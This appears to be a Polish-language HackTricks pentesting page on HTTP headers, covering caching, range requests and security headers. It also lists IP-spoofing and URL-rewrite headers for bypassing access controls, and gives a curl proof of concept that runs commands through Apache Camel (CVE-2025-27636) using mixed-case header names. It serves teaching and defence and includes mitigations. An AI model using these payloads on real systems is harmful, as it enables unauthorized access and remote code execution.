Specjalne nagłówki HTTP
Reading time: 10 minutes
tip
Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Ucz się i ćwicz Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Wsparcie dla HackTricks
- Sprawdź plany subskrypcyjne!
- Dołącz do 💬 grupy Discord lub grupy telegramowej lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Dziel się trikami hackingowymi, przesyłając PR-y do HackTricks i HackTricks Cloud repozytoriów na githubie.
Listy słów i narzędzia
- https://github.com/danielmiessler/SecLists/tree/master/Miscellaneous/Web/http-request-headers
- https://github.com/rfc-st/humble
Nagłówki do zmiany lokalizacji
Przepisz IP źródłowe:
X-Originating-IP: 127.0.0.1
X-Forwarded-For: 127.0.0.1
X-Forwarded: 127.0.0.1
Forwarded-For: 127.0.0.1
X-Forwarded-Host: 127.0.0.1
X-Remote-IP: 127.0.0.1
X-Remote-Addr: 127.0.0.1
X-ProxyUser-Ip: 127.0.0.1
X-Original-URL: 127.0.0.1
Client-IP: 127.0.0.1
X-Client-IP: 127.0.0.1
X-Host: 127.0.0.1
True-Client-IP: 127.0.0.1
Cluster-Client-IP: 127.0.0.1
Via: 1.0 fred, 1.1 127.0.0.1
Connection: close, X-Forwarded-For
(Sprawdź nagłówki hop-by-hop)
Przepisz lokację:
X-Original-URL: /admin/console
X-Rewrite-URL: /admin/console
Nagłówki hop-by-hop
Nagłówek hop-by-hop to nagłówek, który jest zaprojektowany do przetwarzania i konsumowania przez proxy obsługujące żądanie, w przeciwieństwie do nagłówka end-to-end.
Connection: close, X-Forwarded-For
Smuggling żądań HTTP
Content-Length: 30
Transfer-Encoding: chunked
HTTP Request Smuggling / HTTP Desync Attack
Nagłówki pamięci podręcznej
Nagłówki pamięci podręcznej serwera:
X-Cache
w odpowiedzi może mieć wartośćmiss
, gdy żądanie nie zostało zbuforowane, oraz wartośćhit
, gdy jest zbuforowane- Podobne zachowanie w nagłówku
Cf-Cache-Status
Cache-Control
wskazuje, czy zasób jest buforowany i kiedy będzie następny raz buforowany:Cache-Control: public, max-age=1800
Vary
jest często używane w odpowiedzi do wskazania dodatkowych nagłówków, które są traktowane jako część klucza pamięci podręcznej, nawet jeśli normalnie nie są kluczowane.Age
definiuje czas w sekundach, przez jaki obiekt był w pamięci podręcznej proxy.Server-Timing: cdn-cache; desc=HIT
również wskazuje, że zasób był buforowany
Cache Poisoning and Cache Deception
Nagłówki pamięci podręcznej lokalnej:
Clear-Site-Data
: Nagłówek wskazujący, które dane w pamięci podręcznej powinny zostać usunięte:Clear-Site-Data: "cache", "cookies"
Expires
: Zawiera datę/godzinę, kiedy odpowiedź powinna wygasnąć:Expires: Wed, 21 Oct 2015 07:28:00 GMT
Pragma: no-cache
to samo coCache-Control: no-cache
Warning
: Nagłówek ogólny HTTPWarning
zawiera informacje o możliwych problemach ze statusem wiadomości. W odpowiedzi może pojawić się więcej niż jeden nagłówekWarning
.Warning: 110 anderson/1.3.37 "Response is stale"
Warunki
- Żądania używające tych nagłówków:
If-Modified-Since
iIf-Unmodified-Since
będą odpowiadać danymi tylko wtedy, gdy nagłówek odpowiedziLast-Modified
zawiera inną datę. - Warunkowe żądania używające
If-Match
iIf-None-Match
wykorzystują wartość Etag, aby serwer WWW wysłał zawartość odpowiedzi, jeśli dane (Etag) się zmieniły.Etag
jest pobierany z odpowiedzi HTTP. - Wartość Etag jest zazwyczaj obliczana na podstawie zawartości odpowiedzi. Na przykład,
ETag: W/"37-eL2g8DEyqntYlaLp5XLInBWsjWI"
wskazuje, żeEtag
to Sha1 37 bajtów.
Żądania zakresu
Accept-Ranges
: Wskazuje, czy serwer obsługuje żądania zakresu, a jeśli tak, w jakiej jednostce zakres może być wyrażony.Accept-Ranges: <range-unit>
Range
: Wskazuje część dokumentu, którą serwer powinien zwrócić. Na przykład,Range:80-100
zwróci bajty od 80 do 100 oryginalnej odpowiedzi z kodem statusu 206 Partial Content. Pamiętaj również, aby usunąć nagłówekAccept-Encoding
z żądania.- Może to być przydatne do uzyskania odpowiedzi z dowolnym odzwierciedlonym kodem JavaScript, który w przeciwnym razie mógłby być zescapowany. Aby to wykorzystać, musisz wstrzyknąć te nagłówki w żądaniu.
If-Range
: Tworzy warunkowe żądanie zakresu, które jest spełnione tylko wtedy, gdy podany etag lub data pasuje do zdalnego zasobu. Używane do zapobiegania pobieraniu dwóch zakresów z niekompatybilnych wersji zasobu.Content-Range
: Wskazuje, gdzie w pełnej wiadomości ciała należy umieścić wiadomość częściową.
Informacje o ciele wiadomości
Content-Length
: Rozmiar zasobu, w dziesiętnych bajtach.Content-Type
: Wskazuje typ mediów zasobuContent-Encoding
: Używane do określenia algorytmu kompresji.Content-Language
: Opisuje język(languages) przeznaczony dla odbiorców, aby umożliwić użytkownikowi różnicowanie według własnych preferencji językowych.Content-Location
: Wskazuje alternatywną lokalizację dla zwróconych danych.
Z punktu widzenia pentestów te informacje są zazwyczaj "bezużyteczne", ale jeśli zasób jest chroniony przez 401 lub 403 i możesz znaleźć jakiś sposób na uzyskanie tych informacji, może to być interesujące.
Na przykład kombinacja Range
i Etag
w żądaniu HEAD może ujawnić zawartość strony za pomocą żądań HEAD:
- Żądanie z nagłówkiem
Range: bytes=20-20
i odpowiedzią zawierającąETag: W/"1-eoGvPlkaxxP4HqHv6T3PNhV9g3Y"
ujawnia, że SHA1 bajtu 20 toETag: eoGvPlkaxxP4HqHv6T3PNhV9g3Y
Informacje o serwerze
Server: Apache/2.4.1 (Unix)
X-Powered-By: PHP/5.3.3
Kontrole
Allow
: Ten nagłówek jest używany do komunikowania metod HTTP, które zasób może obsługiwać. Na przykład może być określony jakoAllow: GET, POST, HEAD
, co wskazuje, że zasób obsługuje te metody.Expect
: Wykorzystywany przez klienta do przekazywania oczekiwań, które serwer musi spełnić, aby żądanie mogło zostać pomyślnie przetworzone. Typowym przypadkiem użycia jest nagłówekExpect: 100-continue
, który sygnalizuje, że klient zamierza wysłać dużą ilość danych. Klient oczekuje na odpowiedź100 (Continue)
przed kontynuowaniem transmisji. Mechanizm ten pomaga w optymalizacji wykorzystania sieci poprzez oczekiwanie na potwierdzenie serwera.
Pobierania
- Nagłówek
Content-Disposition
w odpowiedziach HTTP wskazuje, czy plik powinien być wyświetlany inline (w obrębie strony) czy traktowany jako załącznik (pobierany). Na przykład:
Content-Disposition: attachment; filename="filename.jpg"
To oznacza, że plik o nazwie "filename.jpg" ma być pobrany i zapisany.
Nagłówki zabezpieczeń
Polityka bezpieczeństwa treści (CSP)
Content Security Policy (CSP) Bypass
Zaufane typy
Wymuszając Zaufane Typy za pomocą CSP, aplikacje mogą być chronione przed atakami DOM XSS. Zaufane Typy zapewniają, że tylko specjalnie przygotowane obiekty, zgodne z ustalonymi politykami bezpieczeństwa, mogą być używane w niebezpiecznych wywołaniach API webowych, co zabezpiecza kod JavaScript domyślnie.
// Feature detection
if (window.trustedTypes && trustedTypes.createPolicy) {
// Name and create a policy
const policy = trustedTypes.createPolicy('escapePolicy', {
createHTML: str => str.replace(/\</g, '<').replace(/>/g, '>');
});
}
// Assignment of raw strings is blocked, ensuring safety.
el.innerHTML = "some string" // Throws an exception.
const escaped = policy.createHTML("<img src=x onerror=alert(1)>")
el.innerHTML = escaped // Results in safe assignment.
X-Content-Type-Options
Ten nagłówek zapobiega sniffingowi typu MIME, praktyce, która może prowadzić do podatności XSS. Zapewnia, że przeglądarki respektują typy MIME określone przez serwer.
X-Content-Type-Options: nosniff
X-Frame-Options
Aby zwalczyć clickjacking, ten nagłówek ogranicza sposób, w jaki dokumenty mogą być osadzane w tagach <frame>
, <iframe>
, <embed>
lub <object>
, zalecając, aby wszystkie dokumenty wyraźnie określały swoje uprawnienia do osadzania.
X-Frame-Options: DENY
Cross-Origin Resource Policy (CORP) i Cross-Origin Resource Sharing (CORS)
CORP jest kluczowy dla określenia, które zasoby mogą być ładowane przez strony internetowe, łagodząc wycieki między witrynami. CORS z kolei pozwala na bardziej elastyczny mechanizm udostępniania zasobów między różnymi źródłami, łagodząc politykę tego samego pochodzenia w określonych warunkach.
Cross-Origin-Resource-Policy: same-origin
Access-Control-Allow-Origin: https://example.com
Access-Control-Allow-Credentials: true
Polityka Osadzania Międzydomenowego (COEP) i Polityka Otwierania Międzydomenowego (COOP)
COEP i COOP są niezbędne do umożliwienia izolacji międzydomenowej, znacznie zmniejszając ryzyko ataków podobnych do Spectre. Kontrolują one ładowanie zasobów międzydomenowych oraz interakcję z oknami międzydomenowymi, odpowiednio.
Cross-Origin-Embedder-Policy: require-corp
Cross-Origin-Opener-Policy: same-origin-allow-popups
HTTP Strict Transport Security (HSTS)
Ostatnio, HSTS to funkcja zabezpieczeń, która zmusza przeglądarki do komunikacji z serwerami tylko za pośrednictwem bezpiecznych połączeń HTTPS, co zwiększa prywatność i bezpieczeństwo.
Strict-Transport-Security: max-age=3153600
Header Name Casing Bypass
HTTP/1.1 definiuje nazwy pól nagłówków jako niezależne od wielkości liter (RFC 9110 §5.1). Niemniej jednak, bardzo często można spotkać niestandardowe oprogramowanie pośredniczące, filtry bezpieczeństwa lub logikę biznesową, które porównują dosłowną nazwę nagłówka bez wcześniejszego normalizowania wielkości liter (np. header.equals("CamelExecCommandExecutable")
). Jeśli te kontrole są przeprowadzane z uwzględnieniem wielkości liter, atakujący może je obejść, po prostu wysyłając ten sam nagłówek z inną kapitalizacją.
Typowe sytuacje, w których pojawia się ten błąd:
- Niestandardowe listy dozwolonych/zakazanych, które próbują zablokować „niebezpieczne” wewnętrzne nagłówki, zanim żądanie dotrze do wrażliwego komponentu.
- Wewnętrzne implementacje pseudo-nagłówków reverse-proxy (np. sanitizacja
X-Forwarded-For
). - Frameworki, które udostępniają punkty końcowe zarządzania / debugowania i polegają na nazwach nagłówków do uwierzytelniania lub wyboru poleceń.
Abusing the bypass
- Zidentyfikuj nagłówek, który jest filtrowany lub walidowany po stronie serwera (na przykład, poprzez przeglądanie kodu źródłowego, dokumentacji lub komunikatów o błędach).
- Wyślij ten sam nagłówek z inną wielkością liter (mieszana wielkość liter lub wielkie litery). Ponieważ stosy HTTP zazwyczaj kanonizują nagłówki tylko po wykonaniu kodu użytkownika, wrażliwa kontrola może zostać pominięta.
- Jeśli komponent downstream traktuje nagłówki w sposób niezależny od wielkości liter (większość tak robi), zaakceptuje wartość kontrolowaną przez atakującego.
Example: Apache Camel exec
RCE (CVE-2025-27636)
W wrażliwych wersjach Apache Camel trasy Command Center próbują zablokować nieufne żądania, usuwając nagłówki CamelExecCommandExecutable
i CamelExecCommandArgs
. Porównanie było wykonywane za pomocą equals()
, więc usunięto tylko dokładne nazwy małymi literami.
# Bypass the filter by using mixed-case header names and execute `ls /` on the host
curl "http://<IP>/command-center" \
-H "CAmelExecCommandExecutable: ls" \
-H "CAmelExecCommandArgs: /"
Nagłówki docierają do komponentu exec
bez filtracji, co skutkuje zdalnym wykonaniem poleceń z uprawnieniami procesu Camel.
Wykrywanie i łagodzenie
- Normalizuj wszystkie nazwy nagłówków do jednej formy (zwykle małymi literami) przed przeprowadzeniem porównań zezwalających/odrzucających.
- Odrzuć podejrzane duplikaty: jeśli obecne są zarówno
Header:
, jak iHeAdEr:
, traktuj to jako anomalię. - Użyj pozytywnej listy dozwolonych elementów egzekwowanej po kanonizacji.
- Chroń punkty końcowe zarządzania za pomocą uwierzytelniania i segmentacji sieci.
Odniesienia
- CVE-2025-27636 – RCE w Apache Camel poprzez obejście wielkości liter nagłówków (blog OffSec)
- https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Disposition
- https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers
- https://web.dev/security-headers/
- https://web.dev/articles/security-headers
tip
Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Ucz się i ćwicz Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Wsparcie dla HackTricks
- Sprawdź plany subskrypcyjne!
- Dołącz do 💬 grupy Discord lub grupy telegramowej lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Dziel się trikami hackingowymi, przesyłając PR-y do HackTricks i HackTricks Cloud repozytoriów na githubie.